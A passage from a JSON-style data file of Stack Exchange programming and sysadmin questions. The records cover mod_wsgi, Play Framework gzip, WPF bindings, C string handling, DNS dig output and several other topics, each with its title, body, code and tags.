say the interpreter version for wsgi apache", "In debian recently change de default
version of python from 2.5 to 2.6 but i need 2.5, how i can configure apache and/or
wsgi script to say it use pythons2.5 and not python default?\n", "", "apache2
debian sysadmin mod-wsgi django-wsgi"], "3550584": ["Play Framework 2, Rest
Services and gzip decompression", "I'm facing what seems a charset issue of play
when decompressing gzip content from rest services. When I try to run the code
snippet below, an error is thrown, saying \"Malformed JSON. Illegal character
((CTRL-CHAR, code 31))\":\n\nAt first I thought it would be a problem in
StackExchange API itself, but I tried a similar service, which uses gzip
compression as well, and the same error happens. It's hard to fix the code because
I don't even know where is the \"Illegal character\". Is there something missing or
it's actually a bug in play?\n", "val url:String =
\"https://api.stackexchange.com/2.0/info?site=stackoverflow\"\nAsync {\n
WS.url(url)\n .withHeaders(\"Accept-Encoding\" -> \"gzip, deflate\")\
n .get()\n .map { response =>\n Ok(\"Response: \" +
(response.json \\ \"items\"))\n }\n}\n", "gzip playframework-2.0"], "841740":
["streming video generation?", "Hello first of all thank for viewing this code :)\
nI've been trying to do live video broadcast from my iPhone :( which doesn't
supports video recording :D ...\nwat i did is managed to write code to upload bunch
of images captured at 10fps from iPhone plus some audio to my server ...\nAt server
end im using few commands which does the following\nif initial second is 0 >>
generate and 0.flv from 10 images and copy it to red5 streaming server's webapp
folder where it is streamed on rtmp\nnow this is done all in the script which im
using to upload files :d \nthus when every 10th images is passed an different video
will be generate \ni add that video supose i have an livevideo.flv and i add 1.flv
to it their after 1.flv \nlivevideo.flv 1.flv > tmp.flv\nmv tmp.flv >
livevideo.flv\nnext run\nlivevideo.flv 2.flv > tmp.flv\nmv tmp.flv > livevideo.flv\
n..\nn number of turns :D \ni get video but not it doesnot plays on any ftmp player
as i guess mv commands is breaking my stream :|\nnow that is not an continuous
stream at all\n", "", "video ffmpeg live-streaming"], "1858244": ["Is there
a \"standard\" way to publish open source javascript files", "Coming from the
java/maven world where everything goes under a \"src/main\" folder I looked around
to see if a similar approach is followed in javascript. However all the main repo's
seem to be following their own. Is there a standard folder structure with which I
can publish my javascript files? Is the community at least \"leaning\" towards some
such structure or template? \nJQuery\nBackbone\n", "", "javascript maven"],
"2743454": ["NSDateFormatter giving me a NULL string", "I have the following
string:\n\nand when I put inside this:\n\nit gives me null. Any idea what I am
doing wrong?\n", "\"2012-12-06 21:55:00\"\n", "iphone objective-c ios ipad"],
"921314": ["vim - remapping >> << (indent commands)", "I would love to map << and
>> to single keys to speed up my workflow, but I can't find any info on how to
write the remap in my vimrc. Any idea how I can get my remap on?\n", "", "vim vimrc
indent remap"], "2140609": ["Why does pdfLaTeX fail when I try to use
`begin{lstlisting}` inside a user-defined environment?", "I'm having trouble with
the package. I can't compile the following minimal example through :\n\nThe
compilation process just stops and appears to ask me for input:\n\nBut if I move
the code in directly into the document (i.e. use directly) it compiles fine.\nAny
idea what's happening and how I can fix it?\n", "listings", "listings errors
environments"], "841021": ["How to reuse the same datatable for different beans?",
"Is it possible to use the same datatable with multiple data sources? If yes, then
how? Can someone give me an example of it? \nTo be more precise, can we bind/unbind
different sources to datatable programaticaly?\n", "", "jsf-2 primefaces"],
"4246126": ["Setting up XCode 4 workspace to build a library for both Mac and iOS",
"I am trying to build a couple of apps within an XCode workspace: One app will be
an iOS app and another will be a Mac OS X app. I'd like to have a certain set of
classes that get included in both versions of the app. I'm struggling to figure out
what kind of project structure would best support some code that is shared, some
that is specific to the iOS app, and some that is specific to the Mac app. Is there
a best practice for doing this kind of thing in XCode in general or XCode 4
specifically? \nShould I be creating a library project for the shared code and
creating 2 different targets for the iOS and Mac OS X builds of the library? The
build-in project templates seem to want me to pick either a Mac OS X library or an
iOS library, and I'm not sure if it's easy to make a project based on one of those
templates work for both targets.\nShould I instead be creating different projects
for the iOS library, the Mac OS X library, the iOS app, and the Max OS X app? In
this case, how can I easily have the library code shared between the iOS library
and Mac OS X library projects? \n", "", "xcode4"], "1908052": ["Visual Studio 2010
Report Viewer", "I have been trying to use report viewer for a couple of days now
and got no where. I have an ASP.Net WEB APLICATION, not a WEB SITE. Which every
tutorial relates to.\nI used the report viewer last week in another project and it
worked perfectly.\nWhat im trying to achive is to create a new report using
business objects. NOT a SQL connection. Previously when i used the report viewer
when adding
new DataSet to the Report Data window all of my namespaces in my objects library
(a seperate assembly) were listed and I was able to select my busines object and
drag the fields to the report.\nNow every time I go into the add dataset wizard
there is nothing in the datasource list. If I add the report to the objects library
and create an object datasource then they appear in here fine. Obviously i dont
want reports in the objects library, they go in the website.\nDoes anyone know why
the add new datasource option is disabled for Web applications? (Accessed from Data
> Add new datasource)\nCan anyone tell me how I can use the object datasource in
the designer in the report?\nmy classes i want to report on have both a
parameterless constructor, they return a list for the get methods. and they are all
serializable.\n", "", "asp.net reportviewer"], "3570665": ["How to list each
filename per downloadable product in WooCommerce?", "I am using Woocommerce Plugin.
In the downloadable product, how can I display the filename instead of product
name? Now the Downloadable product looks like this in the page \"My Account\":\n\
nNow I need to display that listing of file into filename. For example: in
the \"Order\" page it should be like this:\n\nHow can I list each filename in the
downloadable product list?\nI am using the Woocommerce 2.0.4\n\n", "title-->file1\
ntitle-->file2. \n", "wordpress wordpress-plugin woocommerce woothemes"],
"1823188": ["Dig vs Whois on Nameserver Update and Reference to Unknown FQDN?",
"After running a dig on an old domain name moved from an old server to a new one,
completely different IP and provider, I ran a dig and found that the listed
nameserver does not match the one in the whois. The whois shows the new nameserver,
but the dig shows the old. Which one is more accurate?\nAlso, the dig shows an
additional FQDN that I've never seen before. The {bracketed} have been replaced
with general identifiers.\n@root: dig +nocmd {domain.com} any +multiline +noall
+answer\n\n", "{domain.com.} 14400 IN A {IP address}\n{domain.com.} 86400 IN SOA
{old name server.} {unknown, never-been-referenced domain} (\n2010062900 ; serial\
n86400 ; refresh (1 day)\n7200 ; retry (2 hours)\n3600000 ; expire (5 weeks 6 days
16 hours)\n86400 ; minimum (1 day)\n)\n", "dns ip hostname dig fqdn"], "3178111":
["How do I bind TabControl ContextMenu Command?", "I've got the following data
template I'm using for a TabControl. Basically, it adds an X button to the tab so
the user can close. I'm wanting to add a context menu with several commands. For
now, I've just added a redundant Close item in the context menu. But, when I
execute this, my output window says \"BindingExpression path error: 'CloseCommand'
property not found on 'object' ''String' ...\". Binding the X button to the
CloseCommand worked fine so I don't understand why it doesn't work for the context
menu item. Any ideas?\n\n", "<DataTemplate x:Key=\"CloseableTabItemTemplate\">\n
<DockPanel Width=\"120\">\n <Button Command=\"{Binding Path=CloseCommand}\"\n
Content=\"X\"/>\n <ContentPresenter\n Content=\"{Binding
Path=DisplayName}\" \n VerticalAlignment=\"Center\">\n\n
<ContentPresenter.ContextMenu>\n <ContextMenu>\n <MenuItem
Header=\"Close\" Command=\"{Binding Path=CloseCommand}\"/>\n </ContextMenu>\
n </ContentPresenter.ContextMenu>\n </ContentPresenter>\n </DockPanel>\
n</DataTemplate>\n", "wpf templates command contextmenu"], "1825838": ["Confusion
on DB First Approach and POCO Generation using EF5", "I am a bit confused on what
is happening with EF5 in VS.NET 2012 when I do a database first approach that
creates a .edmx file. The reason I'm confused is because there is such a plethora
of information on EF 4.x that a lot of the information is inaccurate in relation to
EF5 I believe.\nIn EF4 to use POCOs with a database first approach, one would
create the POCO classes, and make sure to set Code Generation Strategy = None. Then
create a separate say 'Entites' class that inherits from `ObjectContext' that has
the knowledge of our POCO classes for use with EF.\nIn EF5 with VS.NET 2012, when I
do a database first approach, Code Generation Strategy = None is already set, and
the resulting classes generated by the default T4 template, seem to already create
POCO classes for me. The resulting classes have no inheritance on or . Is this how
the auto-generated entities are created by default now as POCO classes?\nIf the
answer is 'Yes', I actually like that a lot. My main question would be, can I yank
those POCO classes out into another layer? Right now they are shown under
'MyModel.tt', so if I remove them I suppose any changes would not be reflected if I
update the model, correct?\nThanks!\n", "ObjectContext", "entity-framework visual-
studio-2012"], "1083698": ["Removing character from array using strchr, does not
return right value in plain C", "I am trying to remove first semicolon from a
character arrary whose value is:\n\nInput: ; Test: 876033074, 808989746,
825766962, ; Test1:\n 825766962,\n\nCode: \n\n\nOutput (first semicolon still
there): ; Test: 876033074, \n 808989746, 825766962; Test1: 825766962;\n\n", "
char *cleaned = cleanResult(result);\n printf(\"Returned BY CLEAN: %s\\
n\",cleaned);\n\n\n\n char *cleanResult(char *in)\n { \n
printf(\"Cleaning this: %s\\n\",in);\n\n char *firstOccur = strchr(in,';');\
n printf(\"CLEAN To Remove: %s\\n\",firstOccur);\n char *restOfArray
= firstOccur + 2;\n printf(\"CLEAN To Remove: %s\\n\",restOfArray);
//Correct Value Printed here\n\n char *toRemove;\n while ((toRemove =
strstr(restOfArray + 2,\", ;\"))!=NULL) \n {\n printf(\"To
Remove: %s\\n\",toRemove);\n memmove (toRemove, toRemove + 2,
strlen(toRemove + 2));\n printf(\"Removed: %s\\n\",toRemove); //Correct
Value Printed\n }\n\n return in;\n }\n", "c string char return-
value strstr"], "4014755": ["In a WinForm process, how to detect when a command
line child process is demanding input?", "In a WinForm application that calls a
third-party command line tool, there may be a time when the tool is expecting user
input, such as asking if it should overwrite a file:\n\nWhen that happens, I want
to display the message from and the options in a dialog box, and redirect the
button click as input to the process. It probably involves using to send the
input. But without knowing when exactly the tool will be expecting input, I would
have no idea when to react accordingly in the GUI. When the process is in this for-
loop, my WinForm process will just freeze. \nEDIT: Here's the code that unblocks
the UI by starting the process in another thread, however I still could not read
the output, if the file I select will cause the tool to ask overwriting options.
(EDIT2: or in 's case) will never be called , unless the tool does not ask for
input).\n\nAny idea how to do this? Thanks!\n", "printf(\"%s already exists,
overwrite?: <Y>es, <N>o, <A>ll, <Q>uit?\",FName);\nfor ( ; ; )\n switch
( toupper(getch()) ) {\n case 'A':\n YesToAll=true;\n case
'\\r': \n case 'Y':\n remove(FName);\n return true;\n
case 0x1B: \n case 'Q':\n printf(\"quit\\n\"); exit(-1);\n
case 'N': \n return false;\n }\n", "c# winforms
command-line stdout io-redirection"], "5866637": ["Create application for web &
desktop", "I want to create one application and it should work on both desktop
(without internet connection) and in the web. The applications should be the same
(I mean UI and code) and work on both web and desktop (or maybe with a little
difference)\nAs server side and desktop application programming language I decided
to use Python.\nAs UI I want to use HTML5 + Javascript (JQuery) + CSS\nSo, can you
help me what tools should I use? I mean maybe some frameworks for my task. What
framework should I use in the web and what in the desktop (maybe in desktop it will
be some kinda of wrapper for my web version with webkit engine?)?\n", "", "python
web cross-platform desktop-application"], "1839522": ["Item tooltips after
filtering source data", "Rapidly getting familiar with D3.js. One item I've
noticed is that if I have a series of circles (I.e., a scatter plot) and I append
tooltips to them derived from their source data, there seems to be a problem with
updating those tooltips when I filter the data and redraw the circles.\nHere's a
portion of the code that gets called upon filtering the data. Note that the filter
is called from a mouse over in a different but correlated graph:\n\nTo the console
gets written the correct values for the newly subsetted data; but the tooltips
the,selves have incorrect data. In fact, it looks like the newly drawn circles
retain the original tooltips. I should point out the circles get drawn
appropriately, it's only the tooltips via the svg:title that are incorrect. \nAny
guidance on wha I'm doing wrong?\n", "circs = itemCircles.selectAll('circle')\
n .data(filteredData)\n .attr(\"cy\", function (d) { return
scatY(d.sim_fnl_occ); } )\n .attr(\"cx\", function (d) { return
scatX(d.sim_curr_occ); } )\n .attr('r', 5)\n ;\n\
ncircs.enter().append('circle')\n .data(filteredData)\n .attr(\"cy\",
function (d) { return scatY(d.sim_fnl_occ); } )\n .attr(\"cx\", function (d)
{ return scatX(d.sim_curr_occ); } )\n .attr('r', 5)\n ;\n\
ncircs.append(\"svg:title\")\n .text(function(d)
{ console.log(d.sim_curr_occ); // looking good!\n return d.sim_curr_occ });//
looking bad:(\n", "javascript filtering d3.js tooltips"], "2184392": ["How to add
wind speed and direction to an iphone app development?", "I am designing an iphone
app where i need the wind
direction and speed adding to it, please can someone help me or send me a link to
some tutorials on how to do this or what code to use.\nThis would be fantastic help
for me and i look forward to your response.\nKind Regards\nJames \n", "", "xcode
performance iphone-sdk-4.0 direction"], "5209537": ["How can I re-enable the web
interface of a dd-wrt router with no SSH or telnet connection?", "I accidentally
disabled my D-link router's web interface. I installed dd-wrt firmware on it. The
router's SSH and telnet connections are disabled. I don't want to reset the
router.\nHow can I enable the web interface?\n", "", "router dd-wrt
administrator"], "5375185": ["HP Color Laserjet issue", "Since this site is a Q&A
for system administrators and desktop support professionals I'd decided to post my
question here. Not sure if this is the best stackexchange website for this.\nWe
have an HP Color Laserjet 4700n of course out of warranty. And we have an 49.4CF2
Service error.\nAccording to several sources online, this is firmware related.\
nWhen I switch of the printer and switch it back on, it gives this error again.\nI
have tried to give it a cold reset.\nBut that didn't work either.\nI have
downloaded both firmware downloads from hp.com\nfirst one has an application which
transfers the firmware to the printer, but after about 5% the printer switches
again to 49.4CF2 Service error.\nI also tried the second firmware. So I used
filezilla to transfer the .rfu file. The start of the transfer looked good. But
again, after about 5% there was a lost connection.\nI do not know what else I can
try to resolve this error.\np.s. ping-ing the printer works. but stops when the
error occurs. same for webinterface of the network printer.\n\n\nEDIT: as Jan Marek
and Ezio Zanghellini said: the firmware is still not updated. Seems impossible!\n",
"", "hp network-printer firmware"], "651252": ["Colors while scanning a cross-
processed film: why [not] so vivid?", "In this question I am trying to understand
the nature of colors in scanning cross-processed films. I've thought that I'm okay
with photoshop, with subtractive and additive colors etc etc etc, but somehow this
is (at least :) one thing that I can't get. So,\nFirst image is the result of the
lab scanner (some kinda expensive Kodak film scanner). The colors are simply great:
vivid and orthogonal. The contrast is so-so, that's why I've tried to re-scan the
image with my home Epson V700 scanner and standard Epson Scan software. You can see
the result on image N2. The details are finer, but the colors are way pale. I bet
this is not the saturation only, since there is much less blue then on the lab
scan. I've tried to recreate the lab results in photoshop (image N3), but with a
very limited success: the blue is still not there.\nI know that I use the simplest
program, maybe some more sophisticated software would help me to get the results,
but my question is more theoretical: what happens in the software of expensive
scanners, what is that function that allows to get those way different colors? Why
the lab scanner is capable to reproduce the colors so vividly? What can I do (in
Epson Scan or in Photoshop) to get closer to the results from the lab?\
nAppreciate!\nUpdate: No, simply adding the blue/cyan filter and darkening the
exposure doesn't provide satisfying results. First, the brightest sky remain
pale/white, second yellows will be dramatically affected.\nUpdate N2: Tried to scan
with different exposure setting. Still the colors are not even similar to the lab
scan (image N4), even after photosho (image N5).\n\n\n\n\n\n", "", "color color-
management film film-scanner cross-processing"], "4046942": ["GAE bulk upload
programatically", "I have a python script that is intended to run on my local
machine every night. It's goal is to pull data from a third party server, do some
processing on it, and execute bulk upload to GAE datastore. \nMy issue though is
hot to run bulk upload from a python script. All examples I have seen (including
Google's documentation) use command line \"appcfg.py upload_data ...\" and as far
as I can see appcfg.py and bulkloader.py do not expose any API that is guaranteed
not to change. \nMy two options as I see them now is to either execute \"appcfg.py
upload_data ...\" command from my python script, which seems a roundabout way of
doing things. Or to directly call appcfg.py's internal methods, which means I have
to recode tings in case they change.\n", "", "python google-app-engine gae-
datastore"], "4137711": ["kendo grid in kendo tabs using partial view", "For some
reason i can get second tab (Product Details) to bind record in the grids although
the GetAllProductList return records. Please advise, thank you\nindex.cshtml\
nHOME/Index.cshtml\n\nProductDetails/Index.cshtml\n@(Html.Kendo().Grid()\n\
nProductDetails/_ProductData.chtml (Partial page)\n\nThe following will return
records but for some reason it would bind to grid in Product details tab \n\n",
"@(Html.Kendo().TabStrip()\n .Name(\"tabstrip\")\n .Items(items =>\n {\n
items.Add().Text(\"Search\")\
n .LoadContentFrom(\"Index\", \"ProductDetails\")\
n .Selected(true);\n\n\n\n items.Add().Text(\"Product Details\")\
n .LoadContentFrom(\"_ProductData\", \"ProductDetails\")\n\n\n\n })\n)\n",
"c# razor entity-framework-4 kendo-ui"], "1760883": ["What LifeStyle should
ISession have in a Azure Worker Role?", "I'm building a Worker Role in Windows
Azure for computing data and updating various APIs.\nWhat should my session have
for optimal performance?\n(I'm using with )\n", "LifeStyle", "c# nhibernate azure
castle-windsor"], "6014802": ["Why are in-place backups so popular despite not
being 100% foolproof?", "It seems that in-place backups (backing up just data not a
Windows OS) is extremely popular. Where I work, it is recommended for AD backups
amnd servers where non-trivial apps have been installed, meaning that if the
machine goes down a complex app has to be installed and then all the data restored
etc.\nThis is not worth the work, even if the space footprint is lower. Why are in-
place backups so popular? I would not want to do them.\nThanks\n", "", "backup"],
"5023268": ["Failure to Login", "I have Copied Hadoop-Eclipse plugin to plugin
folder of Eclipse and also made SSH psw less but when i try to create new DFS
location it gets created but it throws error like An internal error occurred
during: \"Map/Reduce location status
updater\".org/codehaus/jackson/map/JsonMappingException and ubable to connect to
DFS directory, it says failure to login, I am new to Hadoop, Please help me to get
rid of this.\nI keep the same port no in Map/Reducer and Master DFS as same as I
keep in Conf files\n", "", "java eclipse ubuntu hadoop"], "4008004": ["Track logged
in users' visits", "Is there a way to track logged in user activity? I'd like to
see who logged in to the site each day and maybe see a specific persons login
history. \nCurrently I have no idea which of the registered users are visiting my
site. It's a private family site with ~20 members and I'm just curious to know who
is and who isn't using it.\n", "", "users"], "3570667": ["VMWare View(5) on
existing VMWare Essentials Kit (4.1)", "We're looking into purchasing VMWare View.
I am curious as to whether VMWare View can utilize the same esxi servers that I am
currently using with my essentials plus kit? I'm not looking from a licensing
perspective, more of a configuration. IE: If I already have three ESXi servers
'owned' by a vCenter console, can I add those same three hosts to the View vCenter
Desktop console?\n", "", "vmware-esxi vmware-vsphere vmware-vcenter vmware-view"],
"3219426": ["making sprites randomly appear", "I am trying to have sprites randomly
appear on the screen with out using OOP principles\nthis code is from a ants demo
for AI\n\nQuestion:\nHow do I get Sprites on the screen randomly?\nI know to blit
them\nbut how without using Object-Oriented\nthis is the only part my code is
missing a way for sprites to randomly appear\nthis the code to the antstate.py
where im getting the code:\nhttp://www.mediafire.com/?5tjswcyl9xt5huj\n", "
if randint(1, 10) == 1:\n leaf = Leaf(world, leaf_image)\n
leaf.location = Vector2(randint(0, w), randint(0, h))\n
world.add_entity(leaf)\n\n\n\n world.process(time_passed)\n
world.render(screen)\n\n pygame.display.update()\n", "python pygame"],
"5173136": ["Bluetooth driver download", "My Bluetooth peripheral device doesn't
work, how can I fix it or download the driver?\nMy PC is a HP-Pavilion dv6, I am
using Windows 7 X64.\n", "", "windows-7 drivers 64-bit troubleshooting bluetooth"],
"4483187": ["Bind to Count of List where Typeof", "I know how to Bind to Count, but
how do I do it, if I only want the count where type is Product\n\nI tried with a
Property, But I am having problem keeping it in sync when Items are being added or
removed.\n\n", "<TextBlock Text=\"{Binding Items.Count}\" />\nItems = new
ObservableCollection<object>();\n", "c# wpf binding inotifypropertychanged"],
"5258897": ["Proving a recurrence relation by induction", "Hi I have the following
recurrence relation:\n$$T(n) = \\begin{cases}\n 1, & \\text{if $n=2$} \\\\\n
2T\\left({n \\over 2}\\right) + 4, & \\text{if $n > 2$} \\\\\n \\end{cases}$$\
nWhere $n$ can be assumed to be, $n = 2^c$ for some $c \\ge 1$.\nWhich I solved
using back substitution to find that:\n$$\\sum_{i=2}^n{2^i} = {n\\over 2} + 2(n-2)$
$\nI am now tasked with proving by induction. I solve the base case fine, and get
my Induction hypothesis to state that for some $k$, $$T(k) = {k \\over 2} + 2(k-2)$
$\nNow I get I have to show that for the Induction Step, $$T(k+1) = {k+1 \\over 2}
+ 2(k-1)$$\nThis is where I get lost. I use the recurrence relation to show: $
$T(k+1) = 2T\\left({k+1
\\over 2}\\right) + 4 $$ and I get stuck from there, any hints would be
appreciated.\n", "", "homework recurrence-relations induction"], "5001185":
["Adding values to a dictionary via inline initialization of its container", "I
have the following class. Each city object contains a dictionary which keys are
language tags (let's say: \"EN\", \"DE\", \"FR\"...) and which values are the city
names in the corresponding languages (ex: Rome / Rom etc.).\n\nMost of the cities
have the same names whatever the language so the constructor does actually creates
the English mapping:\n\nHere comes the question: is there a way to add the other
values via inline initialization? \nI tried different variations of the following
without semantic success (does not compile):\n\nI also tried creating a new
Dictionary, but this obviously overwrites the \"EN\" parameter:\n\nAnybody know if
this is possible?\n", "City", "c# dictionary initialization"], "1470826": ["How to
Set Cross Domain Cookie using Redirect?", "everyone\nI have two websites
www.web1.com and www.web2.com. Now I want to write a cookie in web1 and make it
write to web2 by Response.Redirect. \nIf it works I want to implement a simple sso
through this approach.\nHowever, I can't read the cookie in web2. Could somebody
help me to find out whether there's something wrong with my code or cookies can't
be shared cross domain by this way.\nthanks:)\nhere's the code:\nin
www.web1.com/Default.aspx\n\nand code in www.web2.com/Default.aspx\n\n", "protected
void Page_Load(object sender, EventArgs e)\n{\n HttpCookie ck = new
HttpCookie(\"userid\", \"00000001\");\n\n ck.Expires = DateTime.Now.AddDays(1);\
n\n ck.Domain = \".web2.com\";\n\n Response.Cookies.Add(ck);\n\n
Response.Redirect(\"http://www.web2.com/Default.aspx\");\n}\n", "asp.net cookies
cross-domain sso"], "3516488": ["strange exception (no such field embededHandle )
when create view rcp based on eclipse 32bit", "my product is a rcp based on eclipse
and I embed some QT window to the eclipse view. I successfully use PDE to build
the rcp for 32bit and 64bit.\nthere is no error when I startup the 64bit rcp. all
view is initialized correctly. but \nI met strange exception when I startup the
32bit rcp. it report exceptiob : no such field embededHandle.\nthe fact is the
embededHandle is there defined in Compsite.class.\nI don't know what to do right
now. thanks in advance.\nI just use reflection to print the fields of Composite, I
find the modifier for embeddedHandle is different:\nfor 32bit , it is int.\nfor
64bit , it is long.\nstack trace:\n\n", "eclipse.buildId=M20110210-1200\
njava.version=1.6.0_29\njava.vendor=Sun Microsystems Inc.\nBootLoader constants:
OS=linux, ARCH=x86, WS=gtk, NL=en_US\nFramework arguments: -product
org.eclipse.epp.package.rcp.product\nCommand-line arguments: -os linux -ws gtk -
arch x86 -product org.eclipse.epp.package.rcp.product -console -debug\n\n\
njava.lang.NoSuchFieldError: embeddedHandle\nat
com.x.x.x.views.GenericView.init(GenericView.java:80)\nat
com.x.x.x.views.GenericView.createPartControl(GenericView.java:101)\nat
org.eclipse.ui.internal.ViewReference.createPartHelper(ViewReference.java:375)\nat
org.eclipse.ui.internal.ViewReference.createPart(ViewReference.java:229)\nat
org.eclipse.ui.internal.WorkbenchPartReference.getPart(WorkbenchPartReference.java:
595)\nat org.eclipse.ui.internal.PartPane.setVisible(PartPane.java:313)\nat
org.eclipse.ui.internal.ViewPane.setVisible(ViewPane.java:529)\nat
org.eclipse.ui.internal.presentations.PresentablePart.setVisible(PresentablePart.ja
va:180)\nat
org.eclipse.ui.internal.presentations.util.PresentablePartFolder.select(Presentable
PartFolder.java:270)\nat
org.eclipse.ui.internal.presentations.util.LeftToRightTabOrder.select(LeftToRightTa
bOrder.java:65)\nat
org.eclipse.ui.internal.presentations.util.TabbedStackPresentation.selectPart(Tabbe
dStackPresentation.java:473)\nat
org.eclipse.ui.internal.PartStack.refreshPresentationSelection(PartStack.java:1254)
\nat org.eclipse.ui.internal.PartStack.setSelection(PartStack.java:1207)\nat
org.eclipse.ui.internal.PartStack.showPart(PartStack.java:1606)\nat
org.eclipse.ui.internal.PartStack.createControl(PartStack.java:647)\nat
org.eclipse.ui.internal.PartStack.createControl(PartStack.java:574)\nat
org.eclipse.ui.internal.PartSashContainer.createControl(PartSashContainer.java:568)
\nat
org.eclipse.ui.internal.PerspectiveHelper.activate(PerspectiveHelper.java:272)\nat
org.eclipse.ui.internal.Perspective.onActivate(Perspective.java:981)\nat
org.eclipse.ui.internal.WorkbenchPage.setPerspective(WorkbenchPage.java:3614)\nat
org.eclipse.ui.internal.WorkbenchPage.busySetPerspective(WorkbenchPage.java:1041)\
nat org.eclipse.ui.internal.WorkbenchPage.access$16(WorkbenchPage.java:1025)\nat
org.eclipse.ui.internal.WorkbenchPage$19.run(WorkbenchPage.java:3715)\nat
org.eclipse.swt.custom.BusyIndicator.showWhile(BusyIndicator.java:70)\nat
org.eclipse.ui.internal.WorkbenchPage.setPerspective(WorkbenchPage.java:3713)\nat
org.eclipse.ui.handlers.ShowPerspectiveHandler.openPerspective(ShowPerspectiveHandl
er.java:146)\nat
org.eclipse.ui.handlers.ShowPerspectiveHandler.openOther(ShowPerspectiveHandler.jav
a:118)\nat
org.eclipse.ui.handlers.ShowPerspectiveHandler.execute(ShowPerspectiveHandler.java:
57)\nat
org.eclipse.ui.internal.handlers.HandlerProxy.execute(HandlerProxy.java:293)\nat
org.eclipse.core.commands.Command.executeWithChecks(Command.java:476)\nat
org.eclipse.ui.internal.handlers.HandlerService.executeCommand(HandlerService.java:
178)\nat
org.eclipse.ui.internal.handlers.SlaveHandlerService.executeCommand(SlaveHandlerSer
vice.java:247)\nat
org.eclipse.ui.actions.PerspectiveMenu.runOther(PerspectiveMenu.java:376)\nat
org.eclipse.ui.actions.PerspectiveMenu$3.runWithEvent(PerspectiveMenu.java:130)\nat
org.eclipse.jface.action.ActionContributionItem.handleWidgetSelection(ActionContrib
utionItem.java:584)\nat
org.eclipse.jface.action.ActionContributionItem.access$2(ActionContributionItem.jav
a:501)\nat
org.eclipse.jface.action.ActionContributionItem$5.handleEvent(ActionContributionIte
m.java:411)\nat org.eclipse.swt.widgets.EventTable.sendEvent(EventTable.java:84)\
nat org.eclipse.swt.widgets.Widget.sendEvent(Widget.java:1258)\nat
org.eclipse.swt.widgets.Display.runDeferredEvents(Display.java:3540)\nat
org.eclipse.swt.widgets.Display.readAndDispatch(Display.java:3161)\nat
org.eclipse.ui.internal.Workbench.runEventLoop(Workbench.java:2640)\nat
org.eclipse.ui.internal.Workbench.runUI(Workbench.java:2604)\nat
org.eclipse.ui.internal.Workbench.access$4(Workbench.java:2438)\nat
org.eclipse.ui.internal.Workbench$7.run(Workbench.java:671)\nat
org.eclipse.core.databinding.observable.Realm.runWithDefault(Realm.java:332)\nat
org.eclipse.ui.internal.Workbench.createAndRunWorkbench(Workbench.java:664)\nat
org.eclipse.ui.PlatformUI.createAndRunWorkbench(PlatformUI.java:149)\nat
org.eclipse.ui.internal.ide.application.IDEApplication.start(IDEApplication.java:11
5)\nat
org.eclipse.equinox.internal.app.EclipseAppHandle.run(EclipseAppHandle.java:196)\
nat
org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(Eclipse
AppLauncher.java:110)\nat
org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLaunch
er.java:79)\nat
org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:369)\nat
org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:179)\nat
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\nat
sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)\nat
sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)\nat
java.lang.reflect.Method.invoke(Unknown Source)\nat
org.eclipse.equinox.launcher.Main.invokeFramework(Main.java:620)\nat
org.eclipse.equinox.launcher.Main.basicRun(Main.java:575)\nat
org.eclipse.equinox.launcher.Main.run(Main.java:1408)\n", "eclipse field 32bit"],
"5116466": ["Select records skipping rows in MS Access", "How do I can select some
records on database skipping a number o rows in MS Access.\nIn MySQL is . Firebird
is etc..\nNo lucky on Google at all =(\n", "LIMIT x, y", "sql ms-access"],
"4399989": ["Can there be a point on a Riemann surface such that every rational
function is ramified at this point?", "Let $X$ be a compact connected Riemann
surface, and let $S\\subset X$ be a finite subset. \nDoes there exist a morphism
$f:X\\to \\mathbf{P}^1(\\mathbf{C})$ which is unramified at the points of $S$?\nI'm
interested in the case where $X$ is of genus at least $2$. (The genus zero case is
trivial: take $f$ to be the identity.)\nThe answer is trivial when $S$ is empty.
(Any morphism $f:X\\to \\mathbf{P}^1(\\mathbf{C})$ will do.)\nLet $h:X\\to \\
mathbf{P}^1(\\mathbf{C})$ be a morphism with ramification locus $R(h)$. Then, if
$S\\subset X\\backslash R(h)$, the answer is yes. \nHow effective can our answer
be? That is, suppose that there exists such an $f$. Then, can we bound its degree?\
nThe title is a special case of the above question: take $S=\\{\\textrm{pt}\\}$.\
n", "", "complex-analysis algebraic-geometry riemann-surfaces algebraic-curves"],
"3790048": ["Can u tell me what does the clang -cc1 option do?", "I'm a newbie in
I have read a paper about source to source transformation from to using compiler
front end.\nCan anyone tell me why the option is sometimes used? Any help would be
really appreciated as this may be very basic question.\nThank you\n", "clang",
"compiler llvm clang"], "3450885": ["Enumerate grid points on 2D plane with
descending order of (x * y)", "Given and , I want to enumerate all (x, y) pairs
such that 1 <= x <= N and 1 <= y <= M in descending order of (x * y).\nAn example:
given N = 3 and M = 2, the enumeration sequence should be:\n\nThe order of and
could be swapped. One obvious way is to list them all, insert into a , and call
with my own comparison function. However, since N and M may be
large, and most of the time I only need the first few terms of the sequence, I
hope there could be some smarter way that generates such a sequence instead of
generate them all-and-sort, which requires as many as array elements. \nUpdate: I
forgot to mention that although most of the time I only need the first few terms,
the number of terms required is unknown before enumeration.\n", "N > 0", "algorithm
math"], "5590565": ["Knockout computed array not updating", "I am facing an issue
that the computed observable array is not updated when a new item is added.\n\nWhen
I add an item in the computed array is not updated.\n", "self.FilteredCityList =
ko.computed(function() {\n var filteredCollection =
ko.utils.arrayFilter(self.CityListCollection(), function(r) {\n var matchingItem
= ko.utils.arrayFilter(self.LocationCollection(), function(r1) {\n return
r1.LocationCode() == r.LocationCode();\n });\n if (matchingItem.length > 0)
{\n return false;\n }\n return true;\n });\n return
filteredCollection;\n}, this);\n", "knockout.js"], "2189149": ["joomla, separated
read more and intro text", "how separated read more and intro text?\nNow i get only
one string(text redactor: tinymce), and wish \"read more\" insert in one table,
intro text other.\nHow make that?\n", "", "joomla"], "886258": ["SQLAlchemy returns
tuple not dictionary", "I've updated SQLAlchemy to 0.6 but it broke everything.
I've noticed it returns tuple not a dictionary anymore. Here's a sample query:\n\
